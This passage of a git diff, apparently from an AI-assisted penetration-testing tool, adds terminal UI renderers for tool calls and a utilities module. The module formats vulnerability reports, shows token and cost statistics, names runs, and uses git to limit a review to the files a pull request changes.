tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todo Updated", style="bold #a78bfa") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Failed to update todo") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Updating...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class MarkTodoDoneRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "mark_todo_done" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todo Completed", style="bold #a78bfa") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Failed to mark todo done") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Marking done...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class MarkTodoPendingRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "mark_todo_pending" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todo Reopened", style="bold #f59e0b") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Failed to reopen todo") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Reopening...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) + + +@register_tool_renderer +class DeleteTodoRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "delete_todo" + css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + text = Text() + text.append("📋 ") + text.append("Todo Removed", style="bold #94a3b8") + + if isinstance(result, str) and result.strip(): + text.append("\n ") + text.append(result.strip(), style="dim") + elif result and isinstance(result, dict): + if result.get("success"): + _format_todo_lines(text, result) + else: + error = result.get("error", "Failed to remove todo") + text.append("\n ") + text.append(error, style="#ef4444") + else: + text.append("\n ") + text.append("Removing...", style="dim") + + css_classes = cls.get_css_classes("completed") + return Static(text, classes=css_classes) diff --git a/strix/interface/tui/renderers/user_message_renderer.py b/strix/interface/tui/renderers/user_message_renderer.py new file mode 100644 index 000000000..ea742cebd --- /dev/null +++ b/strix/interface/tui/renderers/user_message_renderer.py @@ -0,0 +1,29 @@ +from rich.text import Text + + +class UserMessageRenderer: + @classmethod + def render_simple(cls, content: str) -> Text: + if not content: + return Text() + + return cls._format_user_message(content) + + @classmethod + def _format_user_message(cls, content: str) -> Text: + text = Text() + + text.append("▍", style="#3b82f6") + text.append(" ") + text.append("You:", style="bold") + text.append("\n") + + lines = content.split("\n") + for i, line in enumerate(lines): + if i > 0: + text.append("\n") + text.append("▍", style="#3b82f6") + text.append(" ") + text.append(line) + + return text diff --git a/strix/cli/tool_components/web_search_renderer.py b/strix/interface/tui/renderers/web_search_renderer.py similarity index 63% rename from strix/cli/tool_components/web_search_renderer.py rename to strix/interface/tui/renderers/web_search_renderer.py index d933d7d73..4bd20f78e 100644 --- a/strix/cli/tool_components/web_search_renderer.py +++ b/strix/interface/tui/renderers/web_search_renderer.py @@ -1,5 +1,6 @@ from typing import Any, ClassVar +from rich.text import Text from textual.widgets import Static from .base_renderer import BaseToolRenderer @@ -16,13 +17,13 @@ def render(cls, tool_data: dict[str, Any]) -> Static: args = tool_data.get("args", {}) query = args.get("query", "") - header = "🌐 [bold #60a5fa]Searching the web...[/]" + text = Text() + text.append("🌐 ") + text.append("Searching the web...", style="bold #60a5fa") if query: - query_display = query[:100] + "..." if len(query) > 100 else query - content_text = f"{header}\n [dim]{cls.escape_markup(query_display)}[/]" - else: - content_text = f"{header}" + text.append("\n ") + text.append(query, style="dim") css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) + return Static(text, classes=css_classes) diff --git a/strix/interface/utils.py b/strix/interface/utils.py new file mode 100644 index 000000000..bffc0d47d --- /dev/null +++ b/strix/interface/utils.py @@ -0,0 +1,1552 @@ +import ipaddress +import json +import logging +import os +import re +import secrets +import shutil +import subprocess +import sys +import tempfile +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any +from urllib.error import HTTPError, URLError +from urllib.parse import urlparse +from urllib.request import Request, urlopen + +import docker +from docker.errors import DockerException, ImageNotFound +from rich.console import Console +from rich.panel import Panel +from rich.text import Text + +from strix.config import load_settings + + +logger = logging.getLogger(__name__) + + +def get_severity_color(severity: str) -> str: + severity_colors = { + "critical": "#dc2626", + "high": "#ea580c", + "medium": "#d97706", + "low": "#65a30d", + "info": "#0284c7", + } + return severity_colors.get(severity, "#6b7280") + + +def get_cvss_color(cvss_score: float) -> str: + if cvss_score >= 9.0: + return "#dc2626" + if cvss_score >= 7.0: + return "#ea580c" + if cvss_score >= 4.0: + return "#d97706" + if cvss_score >= 0.1: + return "#65a30d" + return "#6b7280" + + +def format_token_count(count: float | None) -> str: + value = int(count or 0) + if value >= 1_000_000: + return f"{value / 1_000_000:.1f}M" + if value >= 1_000: + return f"{value / 1_000:.1f}K" + return str(value) + + +def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR0915 + field_style = "bold #4ade80" + + text = Text() + + title = report.get("title", "") + if title: + text.append("Vulnerability Report", style="bold #ea580c") + text.append("\n\n") + text.append("Title: ", style=field_style) + text.append(title) + + severity = report.get("severity", "") + if severity: + text.append("\n\n") + text.append("Severity: ", style=field_style) + severity_color = get_severity_color(severity.lower()) + text.append(severity.upper(), style=f"bold {severity_color}") + + cvss = report.get("cvss") + if cvss is not None: + text.append("\n\n") + text.append("CVSS Score: ", style=field_style) + cvss_color = get_cvss_color(cvss) + text.append(f"{cvss:.1f}", style=f"bold {cvss_color}") + + target = report.get("target") + if target: + text.append("\n\n") + text.append("Target: ", style=field_style) + text.append(target) + + endpoint = report.get("endpoint") + if endpoint: + text.append("\n\n") + text.append("Endpoint: ", style=field_style) + text.append(endpoint) + + method = report.get("method") + if method: + text.append("\n\n") + text.append("Method: ", style=field_style) + text.append(method) + + cve = report.get("cve") + if cve: + text.append("\n\n") + text.append("CVE: ", style=field_style) + text.append(cve) + + cvss_breakdown = report.get("cvss_breakdown", {}) + if cvss_breakdown: + text.append("\n\n") + cvss_parts = [] + if cvss_breakdown.get("attack_vector"): + cvss_parts.append(f"AV:{cvss_breakdown['attack_vector']}") + if cvss_breakdown.get("attack_complexity"): + cvss_parts.append(f"AC:{cvss_breakdown['attack_complexity']}") + if cvss_breakdown.get("privileges_required"): + cvss_parts.append(f"PR:{cvss_breakdown['privileges_required']}") + if cvss_breakdown.get("user_interaction"): + cvss_parts.append(f"UI:{cvss_breakdown['user_interaction']}") + if cvss_breakdown.get("scope"): + cvss_parts.append(f"S:{cvss_breakdown['scope']}") + if cvss_breakdown.get("confidentiality"): + cvss_parts.append(f"C:{cvss_breakdown['confidentiality']}") + if cvss_breakdown.get("integrity"): + cvss_parts.append(f"I:{cvss_breakdown['integrity']}") + if cvss_breakdown.get("availability"): + cvss_parts.append(f"A:{cvss_breakdown['availability']}") + if cvss_parts: + text.append("CVSS Vector: ", style=field_style) + text.append("/".join(cvss_parts), style="dim") + + description = report.get("description") + if description: + text.append("\n\n") + text.append("Description", style=field_style) + text.append("\n") + text.append(description) + + impact = report.get("impact") + if impact: + text.append("\n\n") + text.append("Impact", style=field_style) + text.append("\n") + text.append(impact) + + technical_analysis = report.get("technical_analysis") + if technical_analysis: + text.append("\n\n") + text.append("Technical Analysis", style=field_style) + text.append("\n") + text.append(technical_analysis) + + poc_description = report.get("poc_description") + if poc_description: + text.append("\n\n") + text.append("PoC Description", style=field_style) + text.append("\n") + text.append(poc_description) + + poc_script_code = report.get("poc_script_code") + if poc_script_code: + text.append("\n\n") + text.append("PoC Code", style=field_style) + text.append("\n") + text.append(poc_script_code, style="dim") + + code_locations = report.get("code_locations") + if code_locations: + text.append("\n\n") + text.append("Code Locations", style=field_style) + for i, loc in enumerate(code_locations): + text.append("\n\n") + text.append(f" Location {i + 1}: ", style="dim") + text.append(loc.get("file", "unknown"), style="bold") + start = loc.get("start_line") + end = loc.get("end_line") + if start is not None: + if end and end != start: + text.append(f":{start}-{end}") + else: + text.append(f":{start}") + if loc.get("label"): + text.append(f"\n {loc['label']}", style="italic dim") + if loc.get("snippet"): + text.append("\n ") + text.append(loc["snippet"], style="dim") + if loc.get("fix_before") or loc.get("fix_after"): + text.append("\n Fix:") + if loc.get("fix_before"): + text.append("\n - ", style="dim") + text.append(loc["fix_before"], style="dim") + if loc.get("fix_after"): + text.append("\n + ", style="dim") + text.append(loc["fix_after"], style="dim") + + remediation_steps = report.get("remediation_steps") + if remediation_steps: + text.append("\n\n") + text.append("Remediation", style=field_style) + text.append("\n") + text.append(remediation_steps) + + return text + + +def _build_vulnerability_stats(stats_text: Text, report_state: Any) -> None: + vuln_count = len(report_state.vulnerability_reports) + + if vuln_count > 0: + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + for report in report_state.vulnerability_reports: + severity = report.get("severity", "").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + stats_text.append("Vulnerabilities ", style="bold red") + + severity_parts = [] + for severity in ["critical", "high", "medium", "low", "info"]: + count = severity_counts[severity] + if count > 0: + severity_color = get_severity_color(severity) + severity_text = Text() + severity_text.append(f"{severity.upper()}: ", style=severity_color) + severity_text.append(str(count), style=f"bold {severity_color}") + severity_parts.append(severity_text) + + for i, part in enumerate(severity_parts): + stats_text.append(part) + if i < len(severity_parts) - 1: + stats_text.append(" | ", style="dim white") + + stats_text.append(" (Total: ", style="dim white") + stats_text.append(str(vuln_count), style="bold yellow") + stats_text.append(")", style="dim white") + stats_text.append("\n") + else: + stats_text.append("Vulnerabilities ", style="bold #22c55e") + stats_text.append("0", style="bold white") + stats_text.append(" (No exploitable vulnerabilities detected)", style="dim green") + stats_text.append("\n") + + +def _llm_usage(report_state: Any) -> dict[str, Any]: + if hasattr(report_state, "get_total_llm_usage"): + usage = report_state.get_total_llm_usage() + return usage if isinstance(usage, dict) else {} + usage = getattr(report_state, "run_record", {}).get("llm_usage") + return usage if isinstance(usage, dict) else {} + + +def _int_stat(usage: dict[str, Any], key: str) -> int: + try: + return max(0, int(usage.get(key) or 0)) + except (TypeError, ValueError): + return 0 + + +def _float_stat(usage: dict[str, Any], key: str) -> float: + try: + value = float(usage.get(key) or 0.0) + except (TypeError, ValueError): + return 0.0 + return value if value > 0 else 0.0 + + +def _detail_value(usage: dict[str, Any], detail_key: str, value_key: str) -> int: + details = usage.get(detail_key) + if isinstance(details, list): + details = details[0] if details and isinstance(details[0], dict) else {} + if not isinstance(details, dict): + return 0 + return _int_stat(details, value_key) + + +def _build_llm_usage_stats( + stats_text: Text, + report_state: Any, + *, + live: bool = False, +) -> None: + usage = _llm_usage(report_state) + if not usage or _int_stat(usage, "requests") <= 0: + stats_text.append("\n") + stats_text.append("Cost ", style="dim") + stats_text.append("$0.0000 ", style="#fbbf24") + stats_text.append("· ", style="dim white") + stats_text.append("Tokens ", style="dim") + stats_text.append("0", style="white") + return + + input_tokens = _int_stat(usage, "input_tokens") + output_tokens = _int_stat(usage, "output_tokens") + cached_tokens = _detail_value(usage, "input_tokens_details", "cached_tokens") + cost = _float_stat(usage, "cost") + + stats_text.append("\n") + stats_text.append("Input Tokens ", style="dim") + stats_text.append(format_token_count(input_tokens), style="white") + + if live or cached_tokens > 0: + stats_text.append(" · ", style="dim white") + stats_text.append("Cached Tokens ", style="dim") + stats_text.append(format_token_count(cached_tokens), style="white") + + separator = "\n" if live else " · " + stats_text.append(separator, style="dim white") + stats_text.append("Output Tokens ", style="dim") + stats_text.append(format_token_count(output_tokens), style="white") + + if live or cost > 0: + stats_text.append(" · ", style="dim white") + stats_text.append("Cost ", style="dim") + stats_text.append(f"${cost:.4f}", style="#fbbf24") + + +def build_final_stats_text(report_state: Any) -> Text: + stats_text = Text() + if not report_state: + return stats_text + + _build_vulnerability_stats(stats_text, report_state) + _build_llm_usage_stats(stats_text, report_state) + + return stats_text + + +def build_live_stats_text(report_state: Any) -> Text: + stats_text = Text() + if not report_state: + return stats_text + + model = load_settings().llm.model or "unknown" + stats_text.append("Model ", style="dim") + stats_text.append(str(model), style="white") + stats_text.append("\n") + + vuln_count = len(report_state.vulnerability_reports) + stats_text.append("Vulnerabilities ", style="dim") + stats_text.append(f"{vuln_count}", style="white") + stats_text.append("\n") + if vuln_count > 0: + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + for report in report_state.vulnerability_reports: + severity = report.get("severity", "").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + severity_parts = [] + for severity in ["critical", "high", "medium", "low", "info"]: + count = severity_counts[severity] + if count > 0: + severity_color = get_severity_color(severity) + severity_text = Text() + severity_text.append(f"{severity.upper()}: ", style=severity_color) + severity_text.append(str(count), style=f"bold {severity_color}") + severity_parts.append(severity_text) + + for i, part in enumerate(severity_parts): + stats_text.append(part) + if i < len(severity_parts) - 1: + stats_text.append(" | ", style="dim white") + + stats_text.append("\n") + + _build_llm_usage_stats(stats_text, report_state, live=True) + + return stats_text + + +def build_tui_stats_text(report_state: Any) -> Text: + stats_text = Text() + if not report_state: + return stats_text + + model = load_settings().llm.model or "unknown" + stats_text.append(str(model), style="white") + + usage = _llm_usage(report_state) + if usage and _int_stat(usage, "total_tokens") > 0: + stats_text.append("\n") + stats_text.append( + f"{format_token_count(_int_stat(usage, 'total_tokens'))} tokens", + style="white", + ) + cost = _float_stat(usage, "cost") + if cost > 0: + stats_text.append(" · ", style="white") + stats_text.append(f"${cost:.2f}", style="white") + + caido_url = getattr(report_state, "caido_url", None) + if caido_url: + stats_text.append("\n") + stats_text.append("Caido: ", style="bold white") + stats_text.append(caido_url, style="white") + + return stats_text + + +def _slugify_for_run_name(text: str, max_length: int = 32) -> str: + text = text.lower().strip() + text = re.sub(r"[^a-z0-9]+", "-", text) + text = text.strip("-") + if len(text) > max_length: + text = text[:max_length].rstrip("-") + return text or "pentest" + + +def _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None) -> str: # noqa: PLR0911 + if not targets_info: + return "pentest" + + first = targets_info[0] + target_type = first.get("type") + details = first.get("details", {}) or {} + original = first.get("original", "") or "" + + if target_type == "web_application": + url = details.get("target_url", original) + try: + parsed = urlparse(url) + return str(parsed.netloc or parsed.path or url) + except Exception: + return str(url) + + if target_type == "repository": + repo = details.get("target_repo", original) + parsed = urlparse(repo) + path = parsed.path or repo + name = path.rstrip("/").split("/")[-1] or path + if name.endswith(".git"): + name = name[:-4] + return str(name) + + if target_type == "local_code": + path_str = details.get("target_path", original) + try: + return str(Path(path_str).name or path_str) + except Exception: + return str(path_str) + + if target_type == "ip_address": + return str(details.get("target_ip", original) or original) + + return str(original or "pentest") + + +def generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str: + base_label = _derive_target_label_for_run_name(targets_info) + slug = _slugify_for_run_name(base_label) + + random_suffix = secrets.token_hex(2) + + return f"{slug}_{random_suffix}" + + +_SUPPORTED_SCOPE_MODES = {"auto", "diff", "full"} +_MAX_FILES_PER_SECTION = 120 + + +@dataclass +class DiffEntry: + status: str + path: str + old_path: str | None = None + similarity: int | None = None + + +@dataclass +class RepoDiffScope: + source_path: str + workspace_subdir: str | None + base_ref: str + merge_base: str + added_files: list[str] + modified_files: list[str] + renamed_files: list[dict[str, Any]] + deleted_files: list[str] + analyzable_files: list[str] + truncated_sections: dict[str, bool] = field(default_factory=dict) + + def to_metadata(self) -> dict[str, Any]: + return { + "source_path": self.source_path, + "workspace_subdir": self.workspace_subdir, + "base_ref": self.base_ref, + "merge_base": self.merge_base, + "added_files": self.added_files, + "modified_files": self.modified_files, + "renamed_files": self.renamed_files, + "deleted_files": self.deleted_files, + "analyzable_files": self.analyzable_files, + "added_files_count": len(self.added_files), + "modified_files_count": len(self.modified_files), + "renamed_files_count": len(self.renamed_files), + "deleted_files_count": len(self.deleted_files), + "analyzable_files_count": len(self.analyzable_files), + "truncated_sections": self.truncated_sections, + } + + +@dataclass +class DiffScopeResult: + active: bool + mode: str + instruction_block: str = "" + metadata: dict[str, Any] = field(default_factory=dict) + + +def _run_git_command( + repo_path: Path, args: list[str], check: bool = True +) -> subprocess.CompletedProcess[str]: + return subprocess.run( # noqa: S603 + ["git", "-C", str(repo_path), *args], # noqa: S607 + capture_output=True, + text=True, + check=check, + ) + + +def _run_git_command_raw( + repo_path: Path, args: list[str], check: bool = True +) -> subprocess.CompletedProcess[bytes]: + return subprocess.run( # noqa: S603 + ["git", "-C", str(repo_path), *args], # noqa: S607 + capture_output=True, + check=check, + ) + + +def _is_ci_environment(env: dict[str, str]) -> bool: + return any( + env.get(key) + for key in ( + "CI", + "GITHUB_ACTIONS", + "GITLAB_CI", + "JENKINS_URL", + "BUILDKITE", + "CIRCLECI", + ) + ) + + +def _is_pr_environment(env: dict[str, str]) -> bool: + return any( + env.get(key) + for key in ( + "GITHUB_BASE_REF", + "GITHUB_HEAD_REF", + "CI_MERGE_REQUEST_TARGET_BRANCH_NAME", + "GITLAB_MERGE_REQUEST_TARGET_BRANCH_NAME", + "SYSTEM_PULLREQUEST_TARGETBRANCH", + ) + ) + + +def _is_git_repo(repo_path: Path) -> bool: + result = _run_git_command(repo_path, ["rev-parse", "--is-inside-work-tree"], check=False) + return result.returncode == 0 and result.stdout.strip().lower() == "true" + + +def _is_repo_shallow(repo_path: Path) -> bool: + result = _run_git_command(repo_path, ["rev-parse", "--is-shallow-repository"], check=False) + if result.returncode == 0: + value = result.stdout.strip().lower() + if value in {"true", "false"}: + return value == "true" + + git_meta = repo_path / ".git" + if git_meta.is_dir(): + return (git_meta / "shallow").exists() + if git_meta.is_file(): + try: + content = git_meta.read_text(encoding="utf-8").strip() + except OSError: + return False + if content.startswith("gitdir:"): + git_dir = content.split(":", 1)[1].strip() + resolved = (repo_path / git_dir).resolve() + return (resolved / "shallow").exists() + return False + + +def _git_ref_exists(repo_path: Path, ref: str) -> bool: + result = _run_git_command(repo_path, ["rev-parse", "--verify", "--quiet", ref], check=False) + return result.returncode == 0 + + +def _resolve_origin_head_ref(repo_path: Path) -> str | None: + result = _run_git_command( + repo_path, ["symbolic-ref", "--quiet", "refs/remotes/origin/HEAD"], check=False + ) + if result.returncode != 0: + return None + ref = result.stdout.strip() + return ref or None + + +def _extract_branch_name(ref: str | None) -> str | None: + if not ref: + return None + value = ref.strip() + if not value: + return None + return value.split("/")[-1] + + +def _extract_github_base_sha(env: dict[str, str]) -> str | None: + event_path = env.get("GITHUB_EVENT_PATH", "").strip() + if not event_path: + return None + + path = Path(event_path) + if not path.exists(): + return None + + try: + payload = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + + base_sha = payload.get("pull_request", {}).get("base", {}).get("sha") + if isinstance(base_sha, str) and base_sha.strip(): + return base_sha.strip() + return None + + +def _resolve_default_branch_name(repo_path: Path, env: dict[str, str]) -> str | None: + github_base_ref = env.get("GITHUB_BASE_REF", "").strip() + if github_base_ref: + return github_base_ref + + origin_head = _resolve_origin_head_ref(repo_path) + if origin_head: + branch = _extract_branch_name(origin_head) + if branch: + return branch + + if _git_ref_exists(repo_path, "refs/remotes/origin/main"): + return "main" + if _git_ref_exists(repo_path, "refs/remotes/origin/master"): + return "master" + + return None + + +def _resolve_base_ref(repo_path: Path, diff_base: str | None, env: dict[str, str]) -> str: + if diff_base and diff_base.strip(): + return diff_base.strip() + + github_base_ref = env.get("GITHUB_BASE_REF", "").strip() + if github_base_ref: + github_candidate = f"refs/remotes/origin/{github_base_ref}" + if _git_ref_exists(repo_path, github_candidate): + return github_candidate + + github_base_sha = _extract_github_base_sha(env) + if github_base_sha and _git_ref_exists(repo_path, github_base_sha): + return github_base_sha + + origin_head = _resolve_origin_head_ref(repo_path) + if origin_head and _git_ref_exists(repo_path, origin_head): + return origin_head + + if _git_ref_exists(repo_path, "refs/remotes/origin/main"): + return "refs/remotes/origin/main" + + if _git_ref_exists(repo_path, "refs/remotes/origin/master"): + return "refs/remotes/origin/master" + + raise ValueError( + "Unable to resolve a base ref for diff-scope. Pass --diff-base explicitly " + "(for example: --diff-base origin/main)." + ) + + +def _get_current_branch_name(repo_path: Path) -> str | None: + result = _run_git_command(repo_path, ["rev-parse", "--abbrev-ref", "HEAD"], check=False) + if result.returncode != 0: + return None + branch_name = result.stdout.strip() + if not branch_name or branch_name == "HEAD": + return None + return branch_name + + +def _parse_name_status_z(raw_output: bytes) -> list[DiffEntry]: + if not raw_output: + return [] + + tokens = [ + token.decode("utf-8", errors="replace") for token in raw_output.split(b"\x00") if token + ] + entries: list[DiffEntry] = [] + index = 0 + + while index < len(tokens): + token = tokens[index] + status_raw = token + status_code = status_raw[:1] + similarity: int | None = None + if len(status_raw) > 1 and status_raw[1:].isdigit(): + similarity = int(status_raw[1:]) + + if status_code in {"R", "C"} and index + 2 < len(tokens): + old_path = tokens[index + 1] + new_path = tokens[index + 2] + entries.append( + DiffEntry( + status=status_code, + path=new_path, + old_path=old_path, + similarity=similarity, + ) + ) + index += 3 + continue + + if index + 1 < len(tokens): + path = tokens[index + 1] + entries.append(DiffEntry(status=status_code, path=path, similarity=similarity)) + index += 2 + continue + + break + + return entries + + +def _append_unique(container: list[str], seen: set[str], path: str) -> None: + if path and path not in seen: + seen.add(path) + container.append(path) + + +def _classify_diff_entries(entries: list[DiffEntry]) -> dict[str, Any]: + added_files: list[str] = [] + modified_files: list[str] = [] + deleted_files: list[str] = [] + renamed_files: list[dict[str, Any]] = [] + analyzable_files: list[str] = [] + analyzable_seen: set[str] = set() + modified_seen: set[str] = set() + + for entry in entries: + path = entry.path + if not path: + continue + + if entry.status == "D": + deleted_files.append(path) + continue + + if entry.status == "A": + added_files.append(path) + _append_unique(analyzable_files, analyzable_seen, path) + continue + + if entry.status == "M": + _append_unique(modified_files, modified_seen, path) + _append_unique(analyzable_files, analyzable_seen, path) + continue + + if entry.status == "R": + renamed_files.append( + { + "old_path": entry.old_path, + "new_path": path, + "similarity": entry.similarity, + } + ) + _append_unique(analyzable_files, analyzable_seen, path) + if entry.similarity is None or entry.similarity < 100: + _append_unique(modified_files, modified_seen, path) + continue + + if entry.status == "C": + _append_unique(modified_files, modified_seen, path) + _append_unique(analyzable_files, analyzable_seen, path) + continue + + _append_unique(modified_files, modified_seen, path) + _append_unique(analyzable_files, analyzable_seen, path) + + return { + "added_files": added_files, + "modified_files": modified_files, + "deleted_files": deleted_files, + "renamed_files": renamed_files, + "analyzable_files": analyzable_files, + } + + +def _truncate_file_list( + files: list[str], max_files: int = _MAX_FILES_PER_SECTION +) -> tuple[list[str], bool]: + if len(files) <= max_files: + return files, False + return files[:max_files], True + + +def build_diff_scope_instruction(scopes: list[RepoDiffScope]) -> str: + lines = [ + "The user is requesting a review of a Pull Request.", + "Instruction: Direct your analysis primarily at the changes in the listed files. " + "You may reference other files in the repository for context (imports, definitions, " + "usage), but report findings only if they relate to the listed changes.", + "For Added files, review the entire file content.", + "For Modified files, focus primarily on the changed areas.", + ] + + for scope in scopes: + repo_name = scope.workspace_subdir or Path(scope.source_path).name or "repository" + lines.append("") + lines.append(f"Repository Scope: {repo_name}") + lines.append(f"Base reference: {scope.base_ref}") + lines.append(f"Merge base: {scope.merge_base}") + + focus_files, focus_truncated = _truncate_file_list(scope.analyzable_files) + scope.truncated_sections["analyzable_files"] = focus_truncated + if focus_files: + lines.append("Primary Focus (changed files to analyze):") + lines.extend(f"- {path}" for path in focus_files) + if focus_truncated: + lines.append(f"- ... ({len(scope.analyzable_files) - len(focus_files)} more files)") + else: + lines.append("Primary Focus: No analyzable changed files detected.") + + added_files, added_truncated = _truncate_file_list(scope.added_files) + scope.truncated_sections["added_files"] = added_truncated + if added_files: + lines.append("Added files (review entire file):") + lines.extend(f"- {path}" for path in added_files) + if added_truncated: + lines.append(f"- ... ({len(scope.added_files) - len(added_files)} more files)") + + modified_files, modified_truncated = _truncate_file_list(scope.modified_files) + scope.truncated_sections["modified_files"] = modified_truncated + if modified_files: + lines.append("Modified files (focus on changes):") + lines.extend(f"- {path}" for path in modified_files) + if modified_truncated: + lines.append( + f"- ... ({len(scope.modified_files) - len(modified_files)} more files)" + ) + + if scope.renamed_files: + rename_lines = [] + for rename in scope.renamed_files: + old_path = rename.get("old_path") or "unknown" + new_path = rename.get("new_path") or "unknown" + similarity = rename.get("similarity") + if isinstance(similarity, int): + rename_lines.append(f"- {old_path} -> {new_path} (similarity {similarity}%)") + else: + rename_lines.append(f"- {old_path} -> {new_path}") + lines.append("Renamed files:") + lines.extend(rename_lines) + + deleted_files, deleted_truncated = _truncate_file_list(scope.deleted_files) + scope.truncated_sections["deleted_files"] = deleted_truncated + if deleted_files: + lines.append("Note: These files were deleted (context only, not analyzable):") + lines.extend(f"- {path}" for path in deleted_files) + if deleted_truncated: + lines.append(f"- ... ({len(scope.deleted_files) - len(deleted_files)} more files)") + + return "\n".join(lines).strip() + + +def _should_activate_auto_scope( + local_sources: list[dict[str, str]], non_interactive: bool, env: dict[str, str] +) -> bool: + if not local_sources: + return False + if not non_interactive: + return False + if not _is_ci_environment(env): + return False + if _is_pr_environment(env): + return True + + for source in local_sources: + source_path = source.get("source_path") + if not source_path: + continue + repo_path = Path(source_path) + if not _is_git_repo(repo_path): + continue + current_branch = _get_current_branch_name(repo_path) + default_branch = _resolve_default_branch_name(repo_path, env) + if current_branch and default_branch and current_branch != default_branch: + return True + return False + + +def _resolve_repo_diff_scope( + source: dict[str, str], diff_base: str | None, env: dict[str, str] +) -> RepoDiffScope: + source_path = source.get("source_path", "") + workspace_subdir = source.get("workspace_subdir") + repo_path = Path(source_path) + + if not _is_git_repo(repo_path): + raise ValueError(f"Source is not a git repository: {source_path}") + + if _is_repo_shallow(repo_path): + raise ValueError( + "Strix requires full git history for diff-scope. Please set fetch-depth: 0 " + "in your CI config." + ) + + base_ref = _resolve_base_ref(repo_path, diff_base, env) + merge_base_result = _run_git_command(repo_path, ["merge-base", base_ref, "HEAD"], check=False) + if merge_base_result.returncode != 0: + stderr = merge_base_result.stderr.strip() + raise ValueError( + f"Unable to compute merge-base against '{base_ref}' for '{source_path}'. " + f"{stderr or 'Ensure the base branch history is fetched and reachable.'}" + ) + + merge_base = merge_base_result.stdout.strip() + if not merge_base: + raise ValueError( + f"Unable to compute merge-base against '{base_ref}' for '{source_path}'. " + "Ensure the base branch history is fetched and reachable." + ) + + diff_result = _run_git_command_raw( + repo_path, + [ + "diff", + "--name-status", + "-z", + "--find-renames", + "--find-copies", + f"{merge_base}...HEAD", + ], + check=False, + ) + if diff_result.returncode != 0: + stderr = diff_result.stderr.decode("utf-8", errors="replace").strip() + raise ValueError( + f"Unable to resolve changed files for '{source_path}'. " + f"{stderr or 'Ensure the repository has enough history for diff-scope.'}" + ) + + entries = _parse_name_status_z(diff_result.stdout) + classified = _classify_diff_entries(entries) + + return RepoDiffScope( + source_path=source_path, + workspace_subdir=workspace_subdir, + base_ref=base_ref, + merge_base=merge_base, + added_files=classified["added_files"], + modified_files=classified["modified_files"], + renamed_files=classified["renamed_files"], + deleted_files=classified["deleted_files"], + analyzable_files=classified["analyzable_files"], + ) + + +def resolve_diff_scope_context( + local_sources: list[dict[str, str]], + scope_mode: str, + diff_base: str | None, + non_interactive: bool, + env: dict[str, str] | None = None, +) -> DiffScopeResult: + if scope_mode not in _SUPPORTED_SCOPE_MODES: + raise ValueError(f"Unsupported scope mode: {scope_mode}") + + env_map = dict(os.environ if env is None else env) + + if scope_mode == "full": + return DiffScopeResult( + active=False, + mode=scope_mode, + metadata={"active": False, "mode": scope_mode}, + ) + + if scope_mode == "auto": + should_activate = _should_activate_auto_scope(local_sources, non_interactive, env_map) + if not should_activate: + return DiffScopeResult( + active=False, + mode=scope_mode, + metadata={"active": False, "mode": scope_mode}, + ) + + if not local_sources: + raise ValueError("Diff-scope is active, but no local repository targets were provided.") + + repo_scopes: list[RepoDiffScope] = [] + skipped_non_git: list[str] = [] + skipped_diff_scope: list[str] = [] + for source in local_sources: + source_path = source.get("source_path") + if not source_path: + continue + if not _is_git_repo(Path(source_path)): + skipped_non_git.append(source_path) + continue + try: + repo_scopes.append(_resolve_repo_diff_scope(source, diff_base, env_map)) + except ValueError as e: + if scope_mode == "auto": + skipped_diff_scope.append(f"{source_path} (diff-scope skipped: {e})") + continue + raise + + if not repo_scopes: + if scope_mode == "auto": + metadata: dict[str, Any] = {"active": False, "mode": scope_mode} + if skipped_non_git: + metadata["skipped_non_git_sources"] = skipped_non_git + if skipped_diff_scope: + metadata["skipped_diff_scope_sources"] = skipped_diff_scope + return DiffScopeResult(active=False, mode=scope_mode, metadata=metadata) + + raise ValueError( + "Diff-scope is active, but no Git repositories were found. " + "Use --scope-mode full to disable diff-scope for this run." + ) + + instruction_block = build_diff_scope_instruction(repo_scopes) + metadata = { + "active": True, + "mode": scope_mode, + "repos": [scope.to_metadata() for scope in repo_scopes], + "total_repositories": len(repo_scopes), + "total_analyzable_files": sum(len(scope.analyzable_files) for scope in repo_scopes), + "total_deleted_files": sum(len(scope.deleted_files) for scope in repo_scopes), + } + if 